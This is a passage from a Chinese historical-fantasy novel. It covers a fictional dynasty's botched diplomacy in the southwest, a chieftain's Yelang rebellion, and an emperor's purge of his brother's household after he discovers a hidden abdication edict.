在云贵节度使衙门,张文海摆开了全幅仪仗。他头戴乌纱,身穿正二品紫色官袍,威风凛凛地坐在白虎帅堂的书案后面。他吩咐从人给大理正史看座,又凝神看完大理国的求援书,这才捻着微须说道:“贵国与我大周以及吐蕃乃一衣带水的友好邻邦,不想今日你们两国竟然发生冲突。只是,此次战争与我大周并无干系,本节度使又怎么能靡师费饷,派军调停呢?”大理国使者微笑着离座,躬身施了个礼说:“大人。五十年来,鄙国一直奉大周为中土正朔,并始终以朝贡礼结好贵邦。上国的武定皇爷还曾亲下召旨,册封我主为大理国王。而那吐蕃原为康定以西的野蛮部族,借着大唐衰落之机兴兵起事,期间,甚至夺占原属中原的四川、甘孜、兴州、雍州之地,实乃穷兵黩武、背信忘义之国。如今,他们凭借武力,无端袭击我国边哨,侵占我国城池,杀害我国子民,夺取我国资源,皆为人神共愤的不义行为。所以,贵国出面助我大理,实为宣扬天朝国威与除强扶弱的义举。其二,鄙国虽弱,但带甲的勇士还有二十万,仍有能力与吐蕃蛮族决一死战。若今日能得上国援助,他日鄙国又怎会不报答贵国呢?再者,在出发前,我主已经言明,此次贵国只要说和成功,避免了生灵涂炭,鄙国绝不吝惜金珠美玉,更不会让上国白白地靡费银钱。”张文海轻轻叹了口气说:“贵使所言不虚。对于贵邦的遭遇,本官深表同情。只是,本官权力有限,涉及邦交的问题我还要请示朝廷。不过,本官突然有了个大胆的想法,不妨说与贵使听听。”大理使臣赶忙又一躬身说:“大人但讲无妨。”张文海捋了一下自己的胡子说:“云贵离汴梁路途遥远,即使现在本官就将此事上报,等待朝廷回复至少也要一个半月,恐怕那时,吐蕃大军已经攻破了你们的防线。本官的意思是先由我云贵派出官员调停你们之间的纷争。同时,我周朝的军队进驻会川地区管理当地治安。待你们两国达成合议,我云贵再将该地还与贵邦。不知尊使可有异议?”大理使臣想了想,说道:“大人,此事重大,请恕我不敢马上应允。我当立即将此次会晤的详细情况上书我主,请我主定夺……”会见大约进行了一个时辰,张文海才端起茶杯,并命属官送大理使团出衙。 此后,这样的会晤又进行了两次。至六月下旬,吐蕃军队在大理西北的泸水取得了胜利。大理国王不再坚持,立即命令使臣答应张文海的条件,请周朝出面,进行调停。 接到大理正式请求的张文海心中狂喜。他一面派人出使吐蕃军营,一面命安杰率领军队前出到朱提以西的横江地区,从侧后方威胁吐蕃东路大军的安全。而吐蕃方面本来就没有灭掉大理的想法,仅是为了边境争端才向南用兵。现在看战役目的已经达到,又见周朝出面说和,他们也顺势派出了代表,前来参加停战谈判。 眼看和议即将达成,张文海随摆开仪仗,亲自前往金沙江畔,主持和议的签字仪式。可他哪里知道,就在十几天前,大理吐蕃开始谈判时,那个盘踞在黄草坝地区的土司竹黄铭已经将周朝设计挑拨、引发战争的详细过程写成了一模一样的两封书信,并派秘使分别送往了大理和吐蕃。而且,这个竹黄铭在之前的几个月里又与盘江周边的十几个部落建立了联盟关系,还发兵吞并了四个不愿臣服于他的苗寨,加之他手上有节度使张文海签发的节制黄草坝境内苗民令,可以说竹黄铭已经成为了黔西南实际的控制者。 七月初,主持完和议签约的张文海带着镇守使安杰回到朱提城。他命令全城张灯结彩,为大军贺功。他又摆下筵席,犒赏兵民官绅。他甚至一反文人常态,叫了四名苗家少女服侍自己夜寝。 可就在这一夜,子时刚过,朱提城内数处吊脚楼莫名着火。巡检司一面派人救火,一面派人飞奔到镇守使衙门报告情况。已经微醺才刚刚睡下的安杰非常恼火,冲着府里人就是一顿臭骂。当第三次接到报告时,安杰大怒,吼道:“这点小事也要惊动本将吗?叫巡检司处理不就行了吗!今晚,有谁再敢踏进内门一步,格杀勿论!”吓得兵将们不敢多言,纷纷退到二堂外伺候。 丑末时分,正在做升官发财梦的安杰被震天的喊杀声惊醒。他忙问:“出什么事了?”可他连问了三遍,门外却无人应答。安杰一骨碌爬起来,随手从床头抽出宝剑,光着脚就往二堂跑。在那里,几个军将告诉他,吐蕃和大理的军队联合一处,已经攻占了朱提西门,现正向城内杀来。安杰愤怒地质问:“为何无人报我知道?前卫营和西关营是干什么吃的?‘团’字营、‘畅’字营和‘弓’字营迎上去没有?”还没等别人回答,一个刚从外面跌跌撞撞奔入的军官便焦急地说道:“安将军,漫山遍野都是敌军,城破是迟早的事。现在,张节度使也在城中,你得赶快带着‘中’字营和‘全’字营保着张大人突围呀!”安杰一看,说话的是自己最信任的副将,不由得长叹一声,说道:“为今之计,也只好如此了。”他指着周围几个军官命令道:“你们快去集合兵马,跟着本将突围。我这就到驿馆去接张大人。”他又转头对副将说:“续将军,我走之后,城中的万余兵马由你指挥。记住,不能留给敌人一草一木,撤出城池前,要把所有房屋统统烧掉……” 在远处熊熊的火光映衬下,张文海仅穿着内衣坐在车里,安杰则赤足提剑骑在马上,身前车后还带着几百名衣衫不整、满脸惊惧的僚属和兵丁。这些人既不敢喧哗,也不敢招摇,甚至连火把都不敢多点几支。他们径直逃出了朱提东门,向着黔中方向狂奔而去。 在打下朱提后,大理国的军队只是试探性地攻击了几次盘州,便押着俘虏和战利品,撤回了国内。但吐蕃国的态度却始终强横。他们不但继续向前线增兵,还很快攻取了筠州、大雄等地,大有不打下黔中绝不收兵的架势。而那位代理节度使张文海在回到治所后,也在不停地调兵遣将、采取补救措施。可他一个没打过仗的文官又能怎么样呢?在尝试了所有手段,都无法收复失地、驱除外侮后,他不得不向朝廷报告了实情并上了请罪折。 这下,大周的言官和朝臣们可有了攻讦的对象。他们全都对西南的官员口诛笔伐。就连王克明也接连上书,撇清自己与张文海、安杰等人的关系,请求朝廷诛杀这些祸国殃民的庸碌大员。在这种情况下,天通帝采纳赵松寿等大臣的建议,升任益州巡抚阚索为云贵节度使,并命其率领三万大军抵御吐蕃。皇帝还下旨,褫夺张文海等人的官职,又命岭南宣慰使陈标派人锁拿这些官员入京。 第四十一回3 岭南之乱 朝廷的明旨发到黔中后,张文海的心理防线彻底崩塌了。他手捧圣旨,失魂落魄,痴痴呆呆地反复念叨着:“时来天地皆同力,运去英雄不自由……”当晚,这位曾经踌躇满志的封疆大吏便在帅府内堂畏罪自杀了。张文海死后,作为整个阴谋事件的第二策划人,安杰的内心更加恐惧。他思来想去难有活路,最后,竟不顾民族大义,率领几百部下,逃往大雄,投降了吐蕃。 而在黄草坝,当土司竹黄铭得到这些消息时,他高兴得几乎跳起来。他立即找来自己的兄弟子侄和几十名亲信,激动地流着泪对他们说:“各位勇士。我们都是竹王后人,身上流淌着高贵的血液。我们的祖先世代生活在这片土地上,建立了强大的夜郎国。那时候,没有人敢欺负我们,周围的所有部族都臣服在我们脚下,就算辽阔的汉朝也不敢藐视我们。今天,上苍又一次眷顾了夜郎。我们复国的时机终于到来了。”听了这话,有三十几个族人也兴奋地跪在地上,说道:“恢复夜郎荣光,是我竹氏的责任。大王,您就吩咐吧。”但另有十几个人仍在窃窃私语。见还有这么多人犹疑,竹黄铭继续说道:“此事过于重大,咱们还是按照部族传统,求神定夺。”说着,他走到竹屋中间的火盆前,长跪在地,嘴里念念有词地祈祷了一番。接着,他一下子拔出刀来,割破自己的左臂,将流出的鲜血滴在火盆中。说来也奇,刚才还烧的很旺的竹炭很快便熄灭了,只剩下袅袅青烟向上升腾,又飘散开来,弥漫到竹屋的所有空间。屋里其他的人也纷纷上前,跪在火盆周围,开始祈祷。突然,有人指着火盆里面喊道:“你们看,那是什么?”人们一惊,都探头往盆里看。一节鲜嫩的竹笋钻透碳灰冒了出来。两个手快的族人伸手把竹笋取出,一层一层剥掉外面的皮。当剥出笋心时,人们惊讶地发现,有一小块黄色绢布正嵌在竹笋的嫩肉中。大家又一次议论起来。竹黄铭接过黄绢,展开一看,随大笑着叫道:“天意啊!天意!”他站起身来,对跪伏在地的族众大声说:“这黄绢是先辈竹王给我等赐下的旨意,上面只有八个字,‘夜郎复国,竹氏再皇’。”在场的竹氏族人听了这话,没再犹豫,全都跪爬到竹黄铭脚前,磕着头高呼道:“谨遵先王旨意。我等都愿听任大王驱使……” 议定完起兵事项后,当晚,竹黄铭就带着三千土兵向着盘州城出发了。他没有采用强攻的方式,而是欺骗盘州守将说自己是来协助防卫的。虽然也受到了严格的盘查,但凭借朝廷正式颁发的土司文书以及平日里花钱买通的各种关系,竹黄铭还是顺利地把部队带进了城中。两天后,竹黄铭设宴诱捕了城里最重要的官员和将领。之后,他便兵不血刃巧夺了盘州城。直到这时,竹黄铭才打出“夜郎”旗号,并自称“再世皇王”,正式与周朝决裂。 云贵地区的少数民族本就对汉人的统治相当不满。现在,一听说与自己同宗同源的夜郎人挑头造反,他们也纷纷拿起武器投入了竹黄铭的队伍。整个黔南,还包括广西的濮水地区和红水河地区很快都成为了夜郎人的天下。 至天通二年十一月,大周西南已是一片糜烂。在长江边的夷陵地区,新任云贵节度使阚索率领着三万多官军与吐蕃军队多次恶战,胜少败多;在中部,云贵首府黔中城已被竹黄铭团团包围,平月、播州、武陵等城镇,也都承受着来自夜郎的压力;在广西沿海,大大小小的几十股海匪到处蹿扰,弄得节度使赵义廷疲于奔命、防不胜防。 面对如此危局,年过八旬的岭南宣慰使陈标身心俱疲,一病不起。他自知来日无多,便把儿子陈昱叫到病榻前,叮嘱说:“昱儿,你之前因临阵脱逃被罢了官。这几年,为父好不容易才帮你洗脱了罪名,又把你提拔成南粤黜陟使,本想年底推荐你补任节度使的。唉!可惜赶上了叛乱。虽说咱这广信府有三万兵马,但就位置而言,仍很难保证万全。为父身为封疆,不能脱离岭南,但却想给全家老幼寻个安生之所。为此,为父已向宰相赵大人使了二十万两银钱,又向宰相张大人使了十万两,保举你做鄂州巡抚,兴许这一两日就会有好消息。儿啊,你到鄂州以后,要广结善缘,培植亲信,奉承上官,防备小人,切莫再像当年在关北时那样乖戾。唉!为父的身体不行了,也只能帮你到这儿了。”陈昱哭拜在床边,说道:“都是儿子不孝,惹了这许多事。今后的日子,父亲只管将息身体,千万不要再为了儿子的事和千里之外的撮尔蟊贼忧心劳神了!”陈标拉住陈昱的手,又说:“昱儿啊,为父当官五十多年,先后伺候过五代皇爷,算是什么都看明白了。所谓‘忠君爱国’不过是帝王们糊弄天下人的幌子,只要你跟对了主子,任何人都不敢动你分毫;所谓‘清正廉洁’不过是迂腐文人为博取名声唱的戏曲,只要没有人监管,他们哪个不是贪墨成性,骄奢淫逸;还有所谓的‘爱民如子’也只是官员们为了升迁而做的表演,又有几人真的能关爱他人,在乎百姓呢?”这时,屋外原本晴朗的天空之中突然打了一道闪电,接着,又有一阵阴风呼啸而过。陈氏父子没有见过如此反常的自然现象,多少有些惊惧。然而,片刻之后,太阳又一次炫耀般地投射出万丈光芒,似乎是想向天下证明——它仍是万物的主宰。 在京师里,天通帝几个月来被各种败报扰得心绪烦乱。他找来幼时的玩伴太常寺卿蒲文运和太仆寺卿马英全,要他们陪着自己斗鸡取乐。正玩闹间,总是输钱的蒲文运一屁股坐到天通帝脚前,撅着嘴说:“皇上,您的这些‘战芦’太彪悍了,把我的银子都赢了去,要是再输,我就只能脱锦袍赔靴子了。”天通帝笑眯眯地说:“你小子又在朕面前装可怜,谁不知道你们国公府有的是银子!”旁边站着的马英全轻轻哼了一声说:“就是,你这出了名的‘蒲小抠’,就带五百两银子够干什么使的?”他又嬉皮笑脸地对天通帝说:“皇上,既然‘蒲小抠’没钱了,咱不如换一种惩罚方式。”说着,他从袖子里取出一条戒尺,双手捧给天通帝说:“陛下还记得这个吗?”天通帝略略瞧了瞧,说道:“这戒尺看着眼熟,却想不起在哪见过了。”马英全收起笑容说:“皇上,我表演给您看看,您准能猜出来。”说完,他弓起脊背,捋了两下并不存在的长须,迈开方步走到蒲文运跟前,用教训的口吻说:“蒲公子,你既是殿下的伴读,就该发奋用功才是。怎么能带着殿下胡为呢?偷看太监洗澡,哎呀呀,这,这,这,说出来都有辱斯文啊!”说着,他抓起蒲文运的手,就要用戒尺打。天通帝哈哈大笑说:“原来是关老夫子的戒尺啊!朕就说眼熟吗。好好好,咱们今天就用打手板当赌注,一下手板顶一百两银子。”蒲文运扭头看着天通帝说:“皇上,那您可别后悔。我们太常寺新来的茅山道士‘去来’早上给我算过了,说今天我能连赢十二把。”天通帝从马英全手里取过戒尺,轻轻点指着蒲文运说:“就你会瞎吹,待会看朕怎么打肿你的胖蹄子……” 君臣三人又胡闹了将近一个时辰,蒲文运果然接连取胜。天通帝边坐下喝茶边说:“呵,‘蒲小抠’好运气,这一会儿功夫不但没赔,反而赚了朕上千两。今天就到这儿吧,你不是说要连赢十二把吗。朕偏不给你这个机会。”可不成想,旁边的马英全却哭丧起脸来,说道:“陛下,‘蒲小抠’又赢了臣两千两银子。”蒲文运则捧起戒尺说:“我进宫时就告诉你了,今天的最后一局打不成,是你非要打赌的。皇上,咱今天不要他银子,就赏马大人二十戒尺。”天通帝一口茶水喷到了地上,大笑着说:“哈,朕这个老师又可以打学生的手板了。快把手伸出来,让朕打个痛快!” 几天后,一个名叫“去来”的茅山道士被天通帝以隆重的礼数请到了养德殿。 只因去来妖道进宫,才又引发了一场血腥杀戮。 第四十二回1 血溅祖陵 天通二年夏初,童道生巡察完山东河北两地,愈发觉得官场腐败、朝政混乱。而此时,天通帝已自认为坐稳了江山,不希望有人再对自己说三道四。于是,他褒奖了童道生一番,又打发他到山西、陕西等省巡视。童道生也乐得如此,仅在京城逗留了一个月,便带领着属员和仪仗,往北进发了。 过了太行,便是山西地界,童道生的心情愉悦起来。他下马亲吻了脚下的土地,转头对王虎说:“虎兄,到家了。你看这刚刚修缮的官道,收割过半的良田,错落有致的民舍,善意亲和的乡党,在宣道兄长治下,咱山西人总算能过上安稳的日子了。”二人信步向前,随意走访了几个村庄。他们看到,农民家的缸里、囤里盛放着粮食,房前屋后种植着果蔬,窗棂石墙边上堆放着木柴,院内院外散养着鸡犬;一些农民扛着农具,推着小车,有说有笑地回家歇晌;而农妇们则在自家院里晾晒着新粮,也有烧水煮饭,贮藏鲜果,喂食牲畜的;还有几个半大娃娃相互追逐着,在田垄间嬉戏玩耍。王虎点点头说:“这比我想象的还好咧。宣道大人真是治世良臣啊!”童道生也挑起大拇指说:“民间的活力本就巨大,只要政策合理,用人得当,便能被激发。这样和谐安定的社会,不正是老百姓需要的吗!” 童道生一行到达泽州已是傍晚。面对一众等候在驿馆外的官员,童道生只接见了知州一人,便挂出了回避牌。 第二天,恰逢当地大集。童道生和王虎换上便服,到街巷上考察民情。在凤台十字,东西南北四条大街上的店铺和摊位一家挨着一家,卖粮农食品的、贩绸缎布匹的、销鸡鸭牲畜的、售日用杂货的,各色商品琳琅满目。十字中心就更热闹了,搭台唱戏的、杂耍表演的、说书弹琴的、下注博彩的,喧嚣之声此起彼伏。而推车挑担的商贩、顾盼问询的宾客、驻足流连的妇孺、维持治安的官吏熙来攘往、川流不息。童道生不禁赞叹道:“商业发达,人民安乐,虽然不比京师繁华,但官民的精神状态却远胜他处。”二人逛到了北街,王虎一指前面的菜馆说:“再造,到这家楼上坐坐吧,炒肝,烧豆腐,过油肉,再要上一壶汾酒,我这口水都流出来咧。”童道生笑着说:“好啊,家乡的味道我也想念得很呢。” 二人正说话间,就见两位年轻后生边跟街上的百姓打着招呼边向南边走来。其中一人看见童道生,先愣了一下,旋即笑嘻嘻地跑上前,跪倒施礼说:“再造大,小侄给您请安了。”童道生只觉此人眼熟,却想不起是谁,赶忙还了一揖说:“后生请起,你……你……你是天乐。”余天乐站起身,拉住童道生和王虎的胳膊说:“再造大,王叔,怨不得你们认不出我了,咱一晃都有十几年没见了。当初,我随父亲和宣道大去襄阳的时候才九岁,现在,我都快当爹了。”童道生欣慰地看着余天乐说:“是啊,汴京一别十载有余,不成想却在此处相见。余先生身体如何?上次见他也是四年以前了。哦,对了,你是怎么到泽州来的?”还没等余天乐答话,后面的年轻人上前几步,一躬到地说:“晚辈泽州同知唐明渊拜见童大人。有劳大人问询,家师和师母身体康泰。”童道生转头仔细打量着这个后生,笑着点头说:“原来你就是唐明渊,宣道兄长不止一次给我提到过你,今日一见,果然一表人才呀!也怪我昨日事繁,只会见了你们蓝知州,却不晓得你在这里做同知。”余天乐陪着笑说:“再造大,他可是我父亲和宣道大的得意门生。我爹对他比对我都好。他还是同泰十一年的进士,若不是他家里遭遇了变故,宣道大早就提拔他主政州县了。去年初,宣道大向朝廷推荐他任泽州同知,专管本地的农商教化。您瞧瞧这才一年多,咱这儿人民安乐,商业繁荣,颇有宣道大治理襄阳的样子了。至于我吗,因更爱武学,宣道大就抬举我当了这里的警巡督办,手下也管着千把号人呢。”童道生拍拍余天乐的肩膀,说道:“好啊,警巡队是宣道兄长一手培养出来的队伍。你督办警巡定能大有作为。今日,见了你们两个俊后生,我这个当大的自然也该请你们共饮几杯。走吧,咱们都到前面的酒楼去,坐下好好叙谈叙谈。”说完,童道生一手扯着余天乐,一手拉住唐明渊就向酒楼走去。 第四十二回2 血溅祖陵 次日上午,唐明渊专程到驿馆拜见了童道生,并汇报了自己的工作情况。童道生对这个年轻人大为赞赏,随问道:“你说在本地刚刚建起了三学,我却没有见过这样的学堂,可否引我前往一观?”唐明渊又一躬身说:“再造大人愿莅临我司马三学,本地的学子求之不得。”童道生立即起身说:“好,那咱们现在便去,马匹就在院子里。”他刚走了两步又转脸说:“倒差点疏忽了,唐大人是文进士出身,该给你备车才是。”唐明渊呵呵一笑说:“童大人放心,唐某是宣道大人的学生,怎么能不会骑马呢?”童道生自释地笑笑说:“若论驭马,确实没人比得上宣道兄长。好啊,那咱们走。” 一行人出城向北行了四五里。唐明渊指着前方的一大片麦田,缓辔慢行说:“童大人,这里原来都是荒地,下官领着人开垦出来并划归三学做了学田。今年风调雨顺,看这收成不但能保证三学供应,还能接济周边的老百姓。”童道生问道:“这里有多少学田,都是开的荒地吗?”唐明渊答道:“现在三学名下的田产有一千五百多亩,后续会增加到三千亩,其中,绝大部分是荒地和无主田。因为以前咱的魁星三学曾经因为购买田产跟农户有过纠纷。所以,下官在办学时,特意选址在远离城市的司马山下,并尽量不从农民手里购买土地。”童道生又问:“司马三学现有多少学生?都教些什么?”唐明渊又回答说:“去年底,三学首届招生三百人,其中,一百人习文,五十人练武,还有一百五十人教给各种工商技能。另外,咱们还雇用了二百个劳工。余督办也会组织警巡们到学校轮训,有好多学田都是他们帮着开垦的。”这时,正在前方麦田里劳作的几个人放下了手里的活计。一个中年男人一边整理着扎起的衣袖袍角,一边跑到唐明渊马前,拱手说:“唐大人,你们先到三学里歇息,刘先生和吴先生在那儿值守。咱学里的学生们和其他先生们都在地里,正在收获庄稼呢。”唐明渊跳下马,热情地拉住中年人说:“张博士辛苦。我来给你介绍咱大周的文曲星,现任吏部侍郎、太子少保、山西陕西巡察使童道生童大人。”见二人朝自己走来,童道生也跳下马,将马缰交给身后的王虎。唐明渊来到童道生近前,施了一躬说:“童大人,这是司马三学的博士张守仁先生。”张博士趋步向前,规规矩矩地跪伏在地,说道:“晚生拜见巡察使大人。因未得通知,不曾准备仪典。鄙人正带着学生们抢收夏粮,衣服粗陋,面目肮脏,还请大人恕罪。”童道生上前扶起张博士,笑着说:“先生四体勤劳,五谷明辨,何来粗陋肮脏。你们能给下民子弟提供优质教育,童某很是感动,又怎么会怪你们呢!”旁边的唐明渊又一拱手说:“童大人,不如下官先引您到三学里,张博士和师生们过会儿自会前来拜见。”童道生摆摆手说:“既然大伙都在这,我们又何必非要去看几间空校舍呢?不如咱们也到地里去,跟学子们一起劳作半日。”说着,他便解脱了官袍,迈开步子向田里走去。 在收麦的过程中,童道生回想起自己十一二岁时跟随父亲和叔伯们下地劳动的情景。他直起腰来,仰头看了看天,又转脸环视了周围,感慨道:“遍观北方,唯此间可称净土啊!”他用袖口揩了揩头上的汗,小声嘟囔道:“唉!我不过是想让老百姓过个安生日子,可却困难重重,就连圣上也不把天下当回事,这究竟是为何呢?”这时,从他身侧传来一个极低的声音:“因为普天之下莫非王土,没有人能制约皇权。”童道生大惊失色,急忙甩脸观瞧。却见唐明渊笑嘻嘻地作了个揖说:“大人,快午时了,是否让师生们撤回歇息?若大人不嫌弃,咱们就在三学用饭如何?”童道生注视着眼前的年轻人,缓缓问道:“后生所言,出自哪部经典?”唐明渊又笑了笑,凑近童道生说:“再造大人,唐某年少时曾师从程熹,而程先生讲求‘克己复礼’和‘君君臣臣’,既所有的人都要遵守一个大的规矩。可唐某却固执于‘天理在心’,主张怀疑权威,这与程先生的理论相左,于是被逐出师门。幸得宣道大人收留,并许我继续求学思考,这才有了今天的唐明渊呀!可这十年来,我越是学习经典,就越是质疑它,并最终认定那套理论是吃人的。因为在君王眼里,他就是不可一世的天。他总是对的,任何臣僚只能给他提议,却不能限制他的权力,这只会使皇帝们是非不分、黑白颠倒。而士大夫只要讨好了上司便能平步青云,根本不用替普通人考虑。试想,这样的社会架构,能稳定吗?”童道生倒吸了一口凉气。他凝视了唐明渊许久,深深施了一躬说:“听君一席话胜读十年书。童某受教了。”唐明渊则赶忙还了一躬说:“在大人面前,唐某不过是班门弄斧罢了。”他又向远处招手,喊道:“张博士,罗先生,童大人吩咐了,师生带回,咱们都在三学用餐。” 这天之后,童道生经常找唐明渊长谈,竟一连在泽州停留了十多日,才继续北上。 第四十二回3 血溅祖陵 就在童道生巡视山陕的时候,那位在光州督建天帝神仙宫的副宰相冯体仁挖掘出了唐代三元真人使用过的法器和法宝。他随即做了道场,并将发现的物品派人进献给了皇帝。天通帝很重视这些宝贝,特命刚刚进宫的道士去来设坛打醮。那去来还真是个有本事的,在养德殿前做法数日,突然顿悟道:“去日无多捷报来”。结果,仅过了两天,云贵节度使阚索竟真的上奏了吐蕃撤军的消息。这下,天通帝对去来更加信任,又命他施法禳解宫内邪魔。 去来将八卦坛布设在清虚阁中,又用三元真人法器摆下了天罡北斗阵。他连续念了七天咒语,忽然再次顿悟道:“怨在金龙殿,帝居方可安。”天通帝得到奏报后,当天便命人将已封禁了两年的金龙殿整饬干净。 天通帝住进金龙殿后,总觉得不安生,甚至夜不能寐。无奈之下,他让几十名太监宫女在身边伺候,又命令撤下帷幔,并在殿内点满蜡烛,这才枕着大太监白登的腿稍稍合了合眼。到了丑时,天通帝突然惊觉。他满头大汗、恐惧地指着殿内说:“有,有怨鬼躲在角落里。你们,你们给朕,给朕把它找出来!”很快,宫女们在龙床边上发现了几个密格,还在其中找到了那件天通帝做梦也不愿看到的东西——同泰帝的传位遗诏。天通帝览诏大惊,攥着诏命绕床疾走。他突然停住脚步,盯着在场的人说:“你们先留在殿中,今晚的事,谁要是敢说出去,朕诛灭他的九族。”说完,天通帝便带着白登急匆匆地离开了殿宇。 走到殿门外,天通帝阴着脸对白登说:“这些人不能留了,你把他们处理掉。记住,把事儿做干净了。”白登小心地答道:“奴才明白。” 在天色最为黑暗的寅末,金龙殿莫名地起了大火,直至午时,火势才被控制住。不过,值得庆幸的是大火并未波及其它殿宇,皇帝本人也不在殿中,只是,殿内当值的几十名内官竟无一人逃脱,全部葬身火海。 天通帝回到养居殿,连夜传诏心腹大将齐元能入宫,并命他带兵前往荥阳祖陵,赐死扬王石坦及其身边的守陵人员。齐元能出宫后,一刻都没敢耽搁,立即点起了两千兵马,径直往荥阳奔去。 派走齐元能后,天通帝仍不放心,又把白登叫到面前,吩咐道:“石坦还有三个儿子在世,你让内廷司准备些糕点,午时前赐予扬王阖府人等,逼令他们当着你的面把糕点吃掉。”白登躬身回道:“遵旨,奴才这就去办。”当天,扬王府上下二百一十三口全被毒杀。 由于距离不过百里,齐元能当天便杀到了荥阳。他命令部队围住祖陵卫宫,叫里面的人统统出来。扬王石坦不明所以,穿戴好亲王冠服,来到卫宫门前,凄厉的的北风吹得他直打寒颤。齐元能骑在马上,轻蔑地看了看扬王,亢声说道:“奉旨,赐逆臣石坦自尽。”扬王震惊地盯着齐元能,大声喊道:“石坦无罪,皇兄为何要杀我?为何要杀我?”见齐元能不回答,扬王又喊道:“我要见皇上,我要问问他为什么要这么干?是什么人害我?”齐元能冷冷地说:“殿下,都到这个时候了,圣上还会见你吗?你谋逆的事被人告发了,且事实清楚、证据确凿,不容抵赖。皇上念在兄弟一场,特许留你全尸。”说着,他把手一摆,三个军将各捧一盏托盘走了过来。三盏托盘里分别放着白绫、毒酒和宝剑。齐元能又说:“殿下,挑一个吧。如果是我就不会说这么多废话。”扬王流着眼泪指着齐元能说:“齐将军,我不会让你为难。我做了一辈子绵羊王爷。到了,你总得让我死个明白吧!”齐元能想起自己以前也曾受过扬王的恩惠,缓和了一下口气说:“扬王殿下就不要问了。末将只是奉命行事,具体情由也不清楚,还请殿下见谅。既然殿下糊涂了一辈子,那就糊涂着去吧!下辈子不要再托生到帝王家了。”听了这话,石坦失魂落魄地低下了头。他喃喃自语道:“为了得到皇权,竟然不要人性,只有人渣才干得出这样的事。”他缓缓抬头,扫视了一眼远处的陵山,悲戚地笑着说:“哼,哼,哼,哼……躺在地下的列祖列宗,你们看到了吧,这就是皇帝的做派!”他又呵呵笑了几声,充满蔑视地说道:“呵呵,呵……你们,你们也是这样的吧!”他转过脸,伸手从中间的托盘里取了毒酒,脚步蹒跚地向卫宫大门走去。在登上台阶后,扬王轻声吟唱道:“生到阳间终散场,死归地府又何妨!阳间地府俱相似,孤独漂泊在异乡。”他把毒酒捧到嘴边,一仰脖子,喝了下去。 扬王死后,齐元能命人将尸体装殓在马车上。他高声对左右喊道:“你们听着,天通二年十一月二十八,扬王殿下暴病薨逝于祖陵卫宫。”接着,齐元能命令看守祖陵的四百兵将放下武器,并让手下把他们押回京城。 待这些缴械的兵丁走远,齐元能低声对身边的将校吩咐道:“等这边动完了手,你们追过去,结果了这支叛军。”几个军将应了个诺,纷纷拔出刀来。齐元能突然喊道:“这些奴才偷盗卫宫珍宝,罪该万死,给我杀!”几百名禁军听到命令,各举刀枪杀向了那些跪在地上瑟瑟发抖的太监和宫女。不大的功夫,卫宫内外已经血流成河。之后,齐元能又命令部队搜检各个陵山,将祖陵内能找到的其他人员统统杀光。 第四十二回4 血溅祖陵 禁军大队撤走后,从废弃的同泰帝陵石圈内钻出了两个脑袋。借着微弱的星光,隐约能够辨认出其中的老者正是曾经的总管太监白晨。白晨老泪纵横地说:“小全子,扬王殿下血溅祖陵,全都是因为那份传位遗诏啊!当年,咱家为了活命假装疯癫,遭受了各种盘查和奚落,自然不敢把诏书带在身边。原以为总有机会能返回金龙殿,不想却再也进不去了。这几年,咱家一直提心吊胆,从来不敢在卫宫居住。只是,只是那天通帝也太残忍了,不仅逼死扬王,还要杀光那些不知情的仆役宫女。是咱家做事不周害死了这么多人啊!咱家对不起先帝和扬王殿下呀!”白晨边说边抽着自己的嘴巴。小全子抓住白晨的手,哭道:“师傅,这咋能怪咱们呢?是那天通帝不肯奉诏,杀人灭口,咱们也处在危险中啊。”白晨搌了搌眼泪,说道:“小全子,你跟了我十几年。如今,大难已至,不如,不如,你把咱家出首,也许石坚会留你性命。”小全子跪下给白晨磕了个头说:“师傅,徒儿七岁就跟着您,怎能做出那等猪狗事来。您这么说,徒儿只有以死表忠了!”说着,小全子就要拿脑袋往石圈上碰。白晨一把拉住他说:“好了,徒儿。为师不过这么一说。而且,即使你真的投了石坚狗贼,他也不会放过你这个知情人。现在,咱爷俩只有乘夜逃走才是上策。”小全子抬眼问道:“师傅,这陵山周遭还有火把晃动,应是留下善后的禁军,师傅和我又没有胡须,咱们能往哪里逃呢?”白晨眯缝着眼睛说:“为今之计,咱们只有装扮成剃度的僧人,才能逃离祖陵。”小全子喃喃道:“僧人,可是这度牒袈裟……”白晨长吁一口气说:“为师早有准备,就藏在我住的石圈密洞中。徒儿,随我来。”说完,他便引着小全子又钻回了坟圈。 过了将近两个时辰,两位身穿袈裟的僧侣急匆匆地行走在去往黄河的官道上。后面跟从的小和尚压低声音问:“师傅,咱们为何不去投奔您的旧识,却偏要往山西去呢?”老和尚低声说:“智全啊,人心冷暖,世态炎凉。当年我得势,没有人不敬我怕我。可如今,我落难了,又怎么敢保证这些人不出卖我呢!在陵山的三年,为师遍观天下,除了山西河北和山东社会安定外,其它地区皆盗匪肆起,不能前去。而谢州又是我的祖籍,且那里荒废的寺庙较多,正适合咱们避难。再者,我想把先帝立诏,册封扬王,石坚谋逆,诛杀兄弟的事都写下来并传播出去。虽然,这样做不能动摇狗贼的帝位,但,我至少要让他遗臭万年。”小和尚点着头说:“师傅说的有理,徒儿听从您的安排。”白晨双手合十,又说:“阿弥陀佛。智全,以后你要称我为果晨大师。咱们行事都要注意些,要有个和尚的样子,说话时也要尽量憋着嗓音,以免引起他人怀疑……” 雾气消散,晨光初露,白晨师徒已经远离了祖陵。小全子长长地舒了一口气说:“果晨大师,看样子咱们已经逃出了危险区,坐下歇歇脚再走吧。”白晨也喘息着说:“为师真的老了,确实累了,那就歇一会再走。”二人的屁股刚刚挨着地,从土丘后面突然转出来几个禁军士兵,白晨师徒再想躲已然来不及了。就听一个士兵问道:“前面是什么人?”白晨有意憋着嗓音,哆哆嗦嗦地回答:“和……和尚,我们是谢州普救寺的云游僧,去京师听禅讲法的。”几个军兵走过来,打量着二人。为首的兵头说:“度牒挂单拿来我看。”白晨掏出度牒,双手奉上。其实,那个兵头根本不识字。他接过度牒后,装模作样地倒着看了半天,然后,瞟着二人问:“你们是从皇陵方向来的吧。见过什么可疑的人吗?”白晨装傻道:“什么,皇陵?我师徒昨天只顾赶路,错过了宿头,便在这荒郊坐禅一夜,不知此为何地。”兵头把度牒递还给白晨,突然指着小全子问:“小和尚,你叫什么?”小全子惊得一身冷汗,慌乱地答道:“回,军爷,咱……小僧法号智全。”一个军兵凑到兵头跟前,小声说:“哨长,这二人的声音怎么怪怪的,不会是从陵山上跑出来的吧!那咱们可就立功了。”那兵头坏笑着说道:“不管是不是,咱们拿了他们就是。”白晨一看要坏事,急忙摸出几块碎银,笑着说:“军爷们巡逻辛苦了。老衲奉上银钱几两,望军爷行个方便。”